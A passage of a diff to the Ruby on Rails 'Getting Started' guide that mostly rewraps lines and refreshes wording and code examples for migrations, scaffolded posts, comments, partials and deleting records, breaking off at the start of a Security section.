however, makes it really simple to customize templates for +generated models, controllers, views and other source files. You'll find more +information in the "Creating and Customizing Rails Generators & +Templates":generators.html guide. + h4. Running a Migration -One of the products of the +rails generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created. +One of the products of the +rails generate scaffold+ command is a _database +migration_. Migrations are Ruby classes that are designed to make it simple to +create and modify database tables. Rails uses rake commands to run migrations, +and it's possible to undo a migration after it's been applied to your database. +Migration filenames include a timestamp to ensure that they're processed in the +order that they were created. -If you look in the +db/migrate/20100207214725_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find: +If you look in the +db/migrate/20100207214725_create_posts.rb+ file (remember, +yours will have a slightly different name), here's what you'll find: <ruby> class CreatePosts < ActiveRecord::Migration @@ -425,7 +595,14 @@ class CreatePosts < ActiveRecord::Migration end </ruby> -The above migration creates a method name +change+ which will be called when you run this migration. The action defined in that method is also reversible, which means Rails knows how to reverse the change made by this migration, in case you want to reverse it at later date. By default, when you run this migration it will creates a +posts+ table with two string columns and a text column. It also creates two timestamp fields to track record creation and updating. More information about Rails migrations can be found in the "Rails Database Migrations":migrations.html guide. +The above migration creates a method named +change+ which will be called when you +run this migration. The action defined in that method is also reversible, which +means Rails knows how to reverse the change made by this migration, in case you +want to reverse it at later date. By default, when you run this migration it +creates a +posts+ table with two string columns and a text column. It also +creates two timestamp fields to track record creation and updating. More +information about Rails migrations can be found in the "Rails Database +Migrations":migrations.html guide. At this point, you can use a rake command to run the migration: @@ -433,7 +610,8 @@ At this point, you can use a rake command to run the migration: $ rake db:migrate </shell> -Rails will execute this migration command and tell you it created the Posts table. +Rails will execute this migration command and tell you it created the Posts +table. <shell> == CreatePosts: migrating ==================================================== @@ -442,28 +620,43 @@ Rails will execute this migration command and tell you it created the Posts tabl == CreatePosts: migrated (0.0020s) =========================================== </shell> -NOTE. Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file. If you would like to execute migrations in other environment, for instance in production, you must explicitly pass it when invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>. +NOTE. Because by default you're working in the development environment, this +command will apply to the database defined in the +development+ section of your ++config/database.yml+ file. If you would like to execute migrations in another +environment, for instance in production, you must explicitly pass it when +invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>. h4. Adding a Link -To hook the posts up to the home page you've already created, you can add a link to the home page. Open +app/views/home/index.html.erb+ and modify it as follows: +To hook the posts up to the home page you've already created, you can add a link +to the home page. Open +app/views/home/index.html.erb+ and modify it as follows: <ruby> <h1>Hello, Rails!</h1> <%= link_to "My Blog", posts_path %> </ruby> -The +link_to+ method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts. +The +link_to+ method is one of Rails' built-in view helpers. It creates a +hyperlink based on text to display and where to go - in this case, to the path +for posts. h4. Working with Posts in the Browser -Now you're ready to start working with posts. To do that, navigate to "http://localhost:3000":http://localhost:3000/ and then click the "My Blog" link: +Now you're ready to start working with posts. To do that, navigate to +"http://localhost:3000":http://localhost:3000/ and then click the "My Blog" +link: !images/posts_index.png(Posts Index screenshot)! -This is the result of Rails rendering the +index+ view of your posts. There aren't currently any posts in the database, but if you click the +New Post+ link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single +rails generate scaffold+ command. +This is the result of Rails rendering the +index+ view of your posts. There +aren't currently any posts in the database, but if you click the +New Post+ link +you can create one. After that, you'll find that you can edit posts, look at +their details, or destroy them. All of the logic and HTML to handle this was +built by the single +rails generate scaffold+ command. -TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server. +TIP: In development mode (which is what you're working in by default), Rails +reloads your application with every browser request, so there's no need to stop +and restart the web server. Congratulations, you're riding the rails! Now it's time to see how it all works. @@ -476,11 +669,16 @@ class Post < ActiveRecord::Base end </ruby> -There isn't much to this file - but note that the +Post+ class inherits from +ActiveRecord::Base+. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another. +There isn't much to this file - but note that the +Post+ class inherits from ++ActiveRecord::Base+. Active Record supplies a great deal of functionality to +your Rails models for free, including basic database CRUD (Create, Read, Update, +Destroy) operations, data validation, as well as sophisticated search support +and the ability to relate multiple models to one another. h4. Adding Some Validation -Rails includes methods to help you validate the data that you send to models. Open the +app/models/post.rb+ file and edit it: +Rails includes methods to help you validate the data that you send to models. +Open the +app/models/post.rb+ file and edit it: <ruby> class Post < ActiveRecord::Base @@ -490,17 +688,24 @@ class Post < ActiveRecord::Base end </ruby> -These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. +These changes will ensure that all posts have a name and a title, and that the +title is at least five characters long. Rails can validate a variety of +conditions in a model, including the presence or uniqueness of columns, their +format, and the existence of associated objects. h4. Using the Console -To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application: +To see your validations in action, you can use the console. The console is a +command-line tool that lets you execute Ruby code in the context of your +application: <shell> $ rails console </shell> -TIP: The default console will make changes to your database. You can instead open a console that will roll back any changes you make by using +rails console --sandbox+. +TIP: The default console will make changes to your database. You can instead +open a console that will roll back any changes you make by using <tt>rails console +--sandbox</tt>. After the console loads, you can use it to work with your application's models: @@ -517,15 +722,21 @@ After the console loads, you can use it to work with your application's models: :name=>["can't be blank"] }> </shell> -This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post. +This code shows creating a new +Post+ instance, attempting to save it and +getting +false+ for a return value (indicating that the save failed), and +inspecting the +errors+ of the post. When you're finished, type +exit+ and hit +return+ to exit the console. -TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type +reload!+ at the console prompt to load them. +TIP: Unlike the development web server, the console does not automatically load +your code afresh for each line. If you make changes to your models while the +console is open, type +reload!+ at the console prompt to load them. h4. Listing All Posts -The easiest place to start looking at functionality is with the code that lists all posts. Open the file +app/controllers/posts_controller.rb+ and look at the +index+ action: +The easiest place to start looking at functionality is with the code that lists +all posts. Open the file +app/controllers/posts_controller.rb+ and look at the ++index+ action: <ruby> def index @@ -538,11 +749,19 @@ def index end </ruby> -+Post.all+ calls the +Post+ model to return all of the posts currently in the database. The result of this call is an array of posts that we store in an instance variable called +@posts+. ++Post.all+ calls the +Post+ model to return all of the posts currently in the +database. The result of this call is an array of posts that we store in an +instance variable called +@posts+. -TIP: For more information on finding records with Active Record, see "Active Record Query Interface":active_record_querying.html. +TIP: For more information on finding records with Active Record, see "Active +Record Query Interface":active_record_querying.html. -The +respond_to+ block handles both HTML and JSON calls to this action. If you browse to "http://localhost:3000/posts.json":http://localhost:3000/posts.json, you'll see a JSON containing all of the posts. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/views/posts/index.html.erb+: +The +respond_to+ block handles both HTML and JSON calls to this action. If you +browse to "http://localhost:3000/posts.json":http://localhost:3000/posts.json, +you'll see a JSON containing all of the posts. The HTML format looks for a view +in +app/views/posts/+ with a name that corresponds to the action name. Rails +makes all of the instance variables from the action available to the view. +Here's +app/views/posts/index.html.erb+: <erb> <h1>Listing posts</h1> @@ -564,7 +783,8 @@ The +respond_to+ block handles both HTML and JSON calls to this action. If you b <td><%= post.content %></td> <td><%= link_to 'Show', post %></td> <td><%= link_to 'Edit', edit_post_path(post) %></td> - <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td> + <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', + :method => :delete %></td> </tr> <% end %> </table> @@ -574,26 +794,39 @@ The +respond_to+ block handles both HTML and JSON calls to this action. If you b <%= link_to 'New post', new_post_path %> </erb> -This view iterates over the contents of the +@posts+ array to display content and links. A few things to note in the view: +This view iterates over the contents of the +@posts+ array to display content +and links. A few things to note in the view: * +link_to+ builds a hyperlink to a particular destination * +edit_post_path+ and +new_post_path+ are helpers that Rails provides as part of RESTful routing. You'll see a variety of these helpers for the different actions that the controller includes. -NOTE. In previous versions of Rails, you had to use +<%=h post.name %>+ so that any HTML would be escaped before being inserted into the page. In Rails 3.0, this is now the default. To get unescaped HTML, you now use +<%= raw post.name %>+. +NOTE. In previous versions of Rails, you had to use +<%=h post.name %>+ so +that any HTML would be escaped before being inserted into the page. In Rails +3.0, this is now the default. To get unescaped HTML, you now use +<%= raw +post.name %>+. -TIP: For more details on the rendering process, see "Layouts and Rendering in Rails":layouts_and_rendering.html. +TIP: For more details on the rendering process, see "Layouts and Rendering in +Rails":layouts_and_rendering.html. h4. Customizing the Layout -The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of +layouts+, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. In previous versions of Rails, the +rails generate scaffold+ command would automatically create a controller specific layout, like +app/views/layouts/posts.html.erb+, for the posts controller. However this has been changed in Rails 3.0. An application specific +layout+ is used for all the controllers and can be found in +app/views/layouts/application.html.erb+. Open this layout in your editor and modify the +body+ tag: +The view is only part of the story of how HTML is displayed in your web browser. +Rails also has the concept of +layouts+, which are containers for views. When +Rails renders a view to the browser, it does so by putting the view's HTML into +a layout's HTML. In previous versions of Rails, the +rails generate scaffold+ +command would automatically create a controller specific layout, like ++app/views/layouts/posts.html.erb+, for the posts controller. However this has +been changed in Rails 3.0. An application specific +layout+ is used for all the +controllers and can be found in +app/views/layouts/application.html.erb+. Open +this layout in your editor and modify the +body+ tag: <erb> <!DOCTYPE html> <html> <head> <title>Blog</title> - <%= stylesheet_link_tag :all %> - <%= javascript_include_tag :defaults %> + <%= stylesheet_link_tag "application" %> + <%= javascript_include_tag "application" %> <%= csrf_meta_tags %> </head> <body style="background: #EEEEEE;"> @@ -604,11 +837,13 @@ The view is only part of the story of how HTML is displayed in your web browser. </html> </erb> -Now when you refresh the +/posts+ page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts. +Now when you refresh the +/posts+ page, you'll see a gray background to the +page. This same gray background will be used throughout all the views for posts. h4. Creating New Posts -Creating a new post involves two actions. The first is the +new+ action, which instantiates an empty +Post+ object: +Creating a new post involves two actions. The first is the +new+ action, which +instantiates an empty +Post+ object: <ruby> def new @@ -631,15 +866,22 @@ The +new.html.erb+ view displays this empty Post to the user: <%= link_to 'Back', posts_path %> </erb> -The +<%= render 'form' %>+ line is our first introduction to _partials_ in Rails. A partial is a snippet of HTML and Ruby code that can be reused in multiple locations. In this case, the form used to make a new post, is basically identical to a form used to edit a post, both have text fields for the name and title and a text area for the content with a button to make a new post or update the existing post. +The +<%= render 'form' %>+ line is our first introduction to _partials_ in +Rails. A partial is a snippet of HTML and Ruby code that can be reused in +multiple locations. In this case, the form used to make a new post is basically +identical to the form used to edit a post, both having text fields for the name and +title, a text area for the content, and a button to create the new post or to update +the existing one. -If you take a look at +views/posts/_form.html.erb+ file, you will see the following: +If you take a look at +views/posts/_form.html.erb+ file, you will see the +following: <erb> <%= form_for(@post) do |f| %> <% if @post.errors.any? %> <div id="errorExplanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <h2><%= pluralize(@post.errors.count, "error") %> prohibited + this post from being saved:</h2> <ul> <% @post.errors.full_messages.each do |msg| %> <li><%= msg %></li> @@ -666,17 +908,34 @@ If you take a look at +views/posts/_form.html.erb+ file, you will see the follow <% end %> </erb> -This partial receives all the instance variables defined in the calling view file, so in this case, the controller assigned the new Post object to +@post+ and so, this is available in both the view and partial as +@post+. +This partial receives all the instance variables defined in the calling view +file. In this case, the controller assigned the new +Post+ object to +@post+, +which will thus be available in both the view and the partial as +@post+. -For more information on partials, refer to the "Layouts and Rendering in Rails":layouts_and_rendering.html#using-partials guide. +For more information on partials, refer to the "Layouts and Rendering in +Rails":layouts_and_rendering.html#using-partials guide. -The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, +f.text_field :name+ tells Rails to create a text input on the form, and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to having you write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance. +The +form_for+ block is used to create an HTML form. Within this block, you have +access to methods to build various controls on the form. For example, ++f.text_field :name+ tells Rails to create a text input on the form and to hook +it up to the +name+ attribute of the instance being displayed. You can only use +these methods with attributes of the model that the form is based on (in this +case +name+, +title+, and +content+). Rails uses +form_for+ in preference to +having you write raw HTML because the code is more succinct, and because it +explicitly ties the form to a particular model instance. -The +form_for+ block is also smart enough to work out if you are doing a _New Post_ or an _Edit Post_ action, and will set the form +action+ tags and submit button names appropriately in the HTML output. +The +form_for+ block is also smart enough to work out if you are doing a _New +Post_ or an _Edit Post_ action, and will set the form +action+ tags and submit +button names appropriately in the HTML output. -TIP: If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the +form_tag+ method, which provides shortcuts for building forms that are not necessarily tied to a model instance. +TIP: If you need to create an HTML form that displays arbitrary fields, not tied +to a model, you should use the +form_tag+ method, which provides shortcuts for +building forms that are not necessarily tied to a model instance. -When the user clicks the +Create Post+ button on this form, the browser will send information back to the +create+ method of the controller (Rails knows to call the +create+ method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier): +When the user clicks the +Create Post+ button on this form, the browser will +send information back to the +create+ action of the controller (Rails knows to +call the +create+ action because the form is sent with an HTTP POST request; +that's one of the conventions that were mentioned earlier): <ruby> def create @@ -697,15 +956,32 @@ def create end </ruby> -The +create+ action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the +params+ hash. After successfully saving the new post, +create+ returns the appropriate format that the user has requested (HTML in our case). It then redirects the user to the resulting post +show+ action and sets a notice to the user that the Post was successfully created. - -If the post was not successfully saved, due to a validation error, then the controller returns the user back to the +new+ action with any error messages so that the user has the chance to fix the error and try again. - -The "Post was successfully created." message is stored inside of the Rails +flash+ hash, (usually just called _the flash_) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of +create+, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created." +The +create+ action instantiates a new Post object from the data supplied by the +user on the form, which Rails makes available in the +params+ hash. After +successfully saving the new post, +create+ returns the appropriate format that +the user has requested (HTML in our case). It then redirects the user to the +resulting post +show+ action and sets a notice to the user that the Post was +successfully created. + +If the post was not successfully saved, due to a validation error, then the +controller returns the user back to the +new+ action with any error messages so +that the user has the chance to fix the error and try again. + +The "Post was successfully created." message is stored in the Rails ++flash+ hash (usually just called _the flash_), so that messages can be carried +over to another action, providing the user with useful information on the status +of their request. In the case of +create+, the user never actually sees any page +rendered during the post creation process, because it immediately redirects to +the new +Post+ as soon as Rails saves the record. The Flash carries over a message to +the next action, so that when the user is redirected back to the +show+ action, +they are presented with a message saying "Post was successfully created." h4. Showing an Individual Post -When you click the +show+ link for a post on the index page, it will bring you to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. Here's the +show+ action: +When you click the +show+ link for a post on the index page, it will bring you +to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call +to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. +Here's the +show+ action: <ruby> def show @@ -718,7 +994,9 @@ def show end </ruby> -The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using +show.html.erb+: +The +show+ action uses +Post.find+ to search for a single record in the database +by its id value. After finding the record, Rails displays it by using ++show.html.erb+: <erb> <p class="notice"><%= notice %></p> @@ -745,7 +1023,9 @@ The +show+ action uses +Post.find+ to search for a single record in the database h4. Editing Posts -Like creating a new post, editing a post is a two-part process. The first step is a request to +edit_post_path(@post)+ with a particular post. This calls the +edit+ action in the controller: +Like creating a new post, editing a post is a two-part process. The first step +is a request to +edit_post_path(@post)+ with a particular post. This calls the ++edit+ action in the controller: <ruby> def edit @@ -753,7 +1033,8 @@ def edit end </ruby> -After finding the requested post, Rails uses the +edit.html.erb+ view to display it: +After finding the requested post, Rails uses the +edit.html.erb+ view to display +it: <erb> <h1>Editing post</h1> @@ -764,9 +1045,12 @@ After finding the requested post, Rails uses the +edit.html.erb+ view to display <%= link_to 'Back', posts_path %> </erb> -Again, as with the +new+ action, the +edit+ action is using the +form+ partial, this time however, the form will do a PUT action to the PostsController and the submit button will display "Update Post" +Again, as with the +new+ action, the +edit+ action is using the +form+ partial. +This time, however, the form will do a PUT action to the +PostsController+ and the +submit button will display "Update Post". -Submitting the form created by this view will invoke the +update+ action within the controller: +Submitting the form created by this view will invoke the +update+ action within +the controller: <ruby> def update @@ -786,11 +1070,17 @@ def update end </ruby> -In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The +update_attributes+ call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's +show+ view. If there are any problems, it's back to the +edit+ view to correct them. +In the +update+ action, Rails first uses the +:id+ parameter passed back from +the edit view to locate the database record that's being edited. The ++update_attributes+ call then takes the +post+ parameter (a hash) from the request +and applies it to this record. If all goes well, the user is redirected to the +post's +show+ action. If there are any problems, it redirects back to the +edit+ action to +correct them. h4. Destroying a Post -Finally, clicking one of the +destroy+ links sends the associated id to the +destroy+ action: +Finally, clicking one of the +destroy+ links sends the associated id to the ++destroy+ action: <ruby> def destroy @@ -798,21 +1088,31 @@ def destroy @post.destroy respond_to do |format| - format.html { redirect_to(posts_url) } - format.json { render :json => {}, :status => :ok } + format.html { redirect_to posts_url } + format.json { head :ok } end end </ruby> -The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model. +The +destroy+ method of an Active Record model instance removes the +corresponding record from the database. After that's done, there isn't any +record to display, so Rails redirects the user's browser to the index action of +the controller. h3. Adding a Second Model -Now that you've seen how a model built with scaffolding looks like, it's time to add a second model to the application. The second model will handle comments on blog posts. +Now that you've seen how a model built with scaffolding looks like, it's time to +add a second model to the application. The second model will handle comments on +blog posts. h4. Generating a Model -Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal: +Models in Rails use a singular name, and their corresponding database tables use +a plural name. For the model to hold comments, the convention is to use the name ++Comment+. Even if you don't want to use the entire apparatus set up by +scaffolding, most Rails developers still use generators to make things like +models and controllers. To create the new model, run this command in your +terminal: <shell> $ rails generate model Comment commenter:string body:text post:references @@ -820,8 +1120,8 @@ $ rails generate model Comment commenter:string body:text post:references This command will generate four files: -* +app/models/comment.rb+ - The model -* +db/migrate/20100207235629_create_comments.rb+ - The migration +* +app/models/comment.rb+ - The model. +* +db/migrate/20100207235629_create_comments.rb+ - The migration. * +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness. First, take a look at +comment.rb+: @@ -832,9 +1132,12 @@ class Comment < ActiveRecord::Base end </ruby> -This is very similar to the +post.rb+ model that you saw earlier. The difference is the line +belongs_to :post+, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide. +This is very similar to the +post.rb+ model that you saw earlier. The difference +is the line +belongs_to :post+, which sets up an Active Record _association_. +You'll learn a little about associations in the next section of this guide. -In addition to the model, Rails has also made a migration to create the corresponding database table: +In addition to the model, Rails has also made a migration to create the +corresponding database table: <ruby> class CreateComments < ActiveRecord::Migration @@ -852,13 +1155,16 @@ class CreateComments < ActiveRecord::Migration end </ruby> -The +t.references+ line sets up a foreign key column for the association between the two models. And the +add_index+ line sets up an index for this association column. Go ahead and run the migration: +The +t.references+ line sets up a foreign key column for the association between +the two models. And the +add_index+ line sets up an index for this association +column. Go ahead and run the migration: <shell> $ rake db:migrate </shell> -Rails is smart enough to only execute the migrations that have not already been run against the current database, so in this case you will just see: +Rails is smart enough to only execute the migrations that have not already been +run against the current database, so in this case you will just see: <shell> == CreateComments: migrating ================================================= @@ -869,12 +1175,16 @@ Rails is smart enough to only execute the migrations that have not already been h4. Associating Models -Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way: +Active Record associations let you easily declare the relationship between two +models. In the case of comments and posts, you could write out the relationships +this way: -* Each comment belongs to one post -* One post can have many comments +* Each comment belongs to one post. +* One post can have many comments. -In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post: +In fact, this is very close to the syntax that Rails uses to declare this +association. You've already seen the line of code inside the Comment model that +makes each comment belong to a Post: <ruby> class Comment < ActiveRecord::Base @@ -894,13 +1204,20 @@ class Post < ActiveRecord::Base end </ruby> -These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all the comments belonging to that post as the array +@post.comments+. +These two declarations enable a good bit of automatic behavior. For example, if +you have an instance variable +@post+ containing a post, you can retrieve all +the comments belonging to that post as an array using +@post.comments+. -TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide. +TIP: For more information on Active Record associations, see the "Active Record +Associations":association_basics.html guide. h4. Adding a Route for Comments -As with the +home+ controller, we will need to add a route so that Rails knows where we would like to navigate to see +comments+. Open up the +config/routes.rb+ file again, you will see an entry that was added automatically for +posts+ near the top by the scaffold generator, +resources :posts+, edit it as follows: +As with the +home+ controller, we will need to add a route so that Rails knows +where we would like to navigate to see +comments+. Open up the ++config/routes.rb+ file again. Near the top, you will see the entry for +posts+ +that was added automatically by the scaffold generator: <tt>resources +:posts</tt>. Edit it as follows: <ruby> resources :posts do @@ -908,29 +1225,40 @@ resources :posts do end </ruby> -This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments. +This creates +comments+ as a _nested resource_ within +posts+. This is another +part of capturing the hierarchical relationship that exists between posts and +comments. -TIP: For more information on routing, see the "Rails Routing from the Outside In":routing.html guide. +TIP: For more information on routing, see the "Rails Routing from the Outside +In":routing.html guide. h4. Generating a Controller -With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this: +With the model in hand, you can turn your attention to creating a matching +controller. Again, there's a generator for this: <shell> $ rails generate controller Comments </shell> -This creates four files and one empty directory: +This creates six files and one empty directory: -* +app/controllers/comments_controller.rb+ - The controller -* +app/helpers/comments_helper.rb+ - A view helper file -* +test/functional/comments_controller_test.rb+ - The functional tests for the controller -* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper -* +app/views/comments/+ - Views of the controller are stored here +* +app/controllers/comments_controller.rb+ - The controller. +* +app/helpers/comments_helper.rb+ - A view helper file. +* +test/functional/comments_controller_test.rb+ - The functional tests for the controller. +* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper. +* +app/views/comments/+ - Views of the controller are stored here. +* +app/assets/stylesheets/comment.css.scss+ - Cascading style sheet for the controller. +* +app/assets/javascripts/comment.js.coffee+ - CoffeeScript for the controller. -Like with any blog, our readers will create their comments directly after reading the post, and once they have added their comment, will be sent back to the post show page to see their comment now listed. Due to this, our +CommentsController+ is there to provide a method to create comments and delete SPAM comments when they arrive. +Like with any blog, our readers will create their comments directly after +reading the post, and once they have added their comment, will be sent back to +the post show page to see their comment now listed. Due to this, our ++CommentsController+ is there to provide a method to create comments and delete +spam comments when they arrive. -So first, we'll wire up the Post show template (+/app/views/posts/show.html.erb+) to let us make a new comment: +So first, we'll wire up the Post show template +(+/app/views/posts/show.html.erb+) to let us make a new comment: <erb> <p class="notice"><%= notice %></p> @@ -969,7 +1297,8 @@ So first, we'll wire up the Post show template (+/app/views/posts/show.html.erb+ <%= link_to 'Back to Posts', posts_path %> | </erb> -This adds a form on the Post show page that creates a new comment, which will call the +CommentsController+ +create+ action, so let's wire that up: +This adds a form on the +Post+ show page that creates a new comment by +calling the +CommentsController+ +create+ action. Let's wire that up: <ruby> class CommentsController < ApplicationController @@ -981,11 +1310,21 @@ class CommentsController < ApplicationController end </ruby> -You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached, thus the initial find action to the Post model to get the post in question. +You'll see a bit more complexity here than you did in the controller for posts. +That's a side-effect of the nesting that you've set up. Each request for a +comment has to keep track of the post to which the comment is attached, thus the +initial call to the +find+ method of the +Post+ model to get the post in question. -In addition, the code takes advantage of some of the methods available for an association. We use the +create+ method on +@post.comments+ to create and save the comment. This will automatically link the comment so that it belongs to that particular post. +In addition, the code takes advantage of some of the methods available for an +association. We use the +create+ method on +@post.comments+ to create and save +the comment. This will automatically link the comment so that it belongs to that +particular post. -Once we have made the new comment, we send the user back to the original post using the +post_path(@post)+ helper. As we have already seen, this calls the +show+ action of the +PostsController+ which in turn renders the +show.html.erb+ template. This is where we want the comment to show, so let's add that to the +app/views/posts/show.html.erb+. +Once we have made the new comment, we send the user back to the original post +using the +post_path(@post)+ helper. As we have already seen, this calls the ++show+ action of the +PostsController+ which in turn renders the +show.html.erb+ +template. This is where we want the comment to show, so let's add that to the ++app/views/posts/show.html.erb+. <erb> <p class="notice"><%= notice %></p> @@ -1039,15 +1378,20 @@ Once we have made the new comment, we send the user back to the original post us <%= link_to 'Back to Posts', posts_path %> | </erb> -Now you can add posts and comments to your blog and have them show up in the right places. +Now you can add posts and comments to your blog and have them show up in the +right places. h3. Refactoring -Now that we have Posts and Comments working, if we take a look at the +app/views/posts/show.html.erb+ template, it's getting long and awkward. We can use partials to clean this up. +Now that we have posts and comments working, take a look at the ++app/views/posts/show.html.erb+ template. It is getting long and awkward. We can +use partials to clean it up. h4. Rendering Partial Collections -First we will make a comment partial to extract showing all the comments for the post. Create the file +app/views/comments/_comment.html.erb+ and put the following into it: +First we will make a comment partial to extract showing all the comments for the +post. Create the file +app/views/comments/_comment.html.erb+ and put the +following into it: <erb> <p> @@ -1061,7 +1405,8 @@ First we will make a comment partial to extract showing all the comments for the </p> </erb> -Then in the +app/views/posts/show.html.erb+ you can change it to look like the following: +Then you can change +app/views/posts/show.html.erb+ to look like the +following: <erb> <p class="notice"><%= notice %></p> @@ -1105,11 +1450,16 @@ Then in the +app/views/posts/show.html.erb+ you can change it to look like the f <%= link_to 'Back to Posts', posts_path %> | </erb> -This will now render the partial in +app/views/comments/_comment.html.erb+ once for each comment that is in the +@post.comments+ collection. As the +render+ method iterates over the <tt>@post.comments</tt> collection, it assigns each comment to a local variable named the same as the partial, in this case +comment+ which is then available in the partial for us to show. +This will now render the partial in +app/views/comments/_comment.html.erb+ once +for each comment that is in the +@post.comments+ collection. As the +render+ +method iterates over the <tt>@post.comments</tt> collection, it assigns each +comment to a local variable named the same as the partial, in this case ++comment+ which is then available in the partial for us to show. h4. Rendering a Partial Form -Lets also move that new comment section out to it's own partial, again, you create a file +app/views/comments/_form.html.erb+ and in it you put: +Let us also move that new comment section out to its own partial. Again, you +create a file +app/views/comments/_form.html.erb+ containing: <erb> <%= form_for([@post, @post.comments.build]) do |f| %> @@ -1159,15 +1509,22 @@ Then you make the +app/views/posts/show.html.erb+ look like the following: <%= link_to 'Back to Posts', posts_path %> | </erb> -The second render just defines the partial template we want to render, <tt>comments/form</tt>, Rails is smart enough to spot the forward slash in that string and realize that you want to render the <tt>_form.html.erb</tt> file in the <tt>app/views/comments</tt> directory. +The second render just defines the partial template we want to render, +<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that +string and realize that you want to render the <tt>_form.html.erb</tt> file in +the <tt>app/views/comments</tt> directory. -The +@post+ object is available to any partials rendered in the view because we defined it as an instance variable. +The +@post+ object is available to any partials rendered in the view because we +defined it as an instance variable. h3. Deleting Comments -Another important feature on a blog is being able to delete SPAM comments. To do this, we need to implement a link of some sort in the view and a +DELETE+ action in the +CommentsController+. +Another important feature of a blog is being able to delete spam comments. To do +this, we need to implement a link of some sort in the view and a +DELETE+ action +in the +CommentsController+. -So first, let's add the delete link in the +app/views/comments/_comment.html.erb+ partial: +So first, let's add the delete link in the ++app/views/comments/_comment.html.erb+ partial: <erb> <p> @@ -1187,7 +1544,10 @@ So first, let's add the delete link in the +app/views/comments/_comment.html.erb </p> </erb> -Clicking this new "Destroy Comment" link will fire off a <tt>DELETE /posts/:id/comments/:id</tt> to our +CommentsController+, which can then use this to find the comment we want to delete, so let's add a destroy action to our controller: +Clicking this new "Destroy Comment" link will fire off a <tt>DELETE +/posts/:id/comments/:id</tt> to our +CommentsController+, which can then use +this to find the comment we want to delete, so let's add a destroy action to our +controller: <ruby> class CommentsController < ApplicationController @@ -1208,12 +1568,17 @@ class CommentsController < ApplicationController end </ruby> -The +destroy+ action will find the post we are looking at, locate the comment within the <tt>@post.comments</tt> collection, and then remove it from the database and send us back to the show action for the post. +The +destroy+ action will find the post we are looking at, locate the comment +within the <tt>@post.comments</tt> collection, and then remove it from the +database and send us back to the show action for the post. h4. Deleting Associated Objects -If you delete a post then its associated comments will also need to be deleted. Otherwise they would simply occupy space in the database. Rails allows you to use the +dependent+ option of an association to achieve this. Modify the Post model, +app/models/post.rb+, as follows: +If you delete a post then its associated comments will also need to be deleted. +Otherwise they would simply occupy space in the database. Rails allows you to +use the +dependent+ option of an association to achieve this. Modify the Post +model, +app/models/post.rb+, as follows: <ruby> class Post < ActiveRecord::Base @@ -1226,18 +1591,25 @@ end h3. Security -If you were to publish your blog online, anybody would be able to add, edit and delete posts or delete comments. +If you were to publish your blog online, anybody would be able to add, edit and 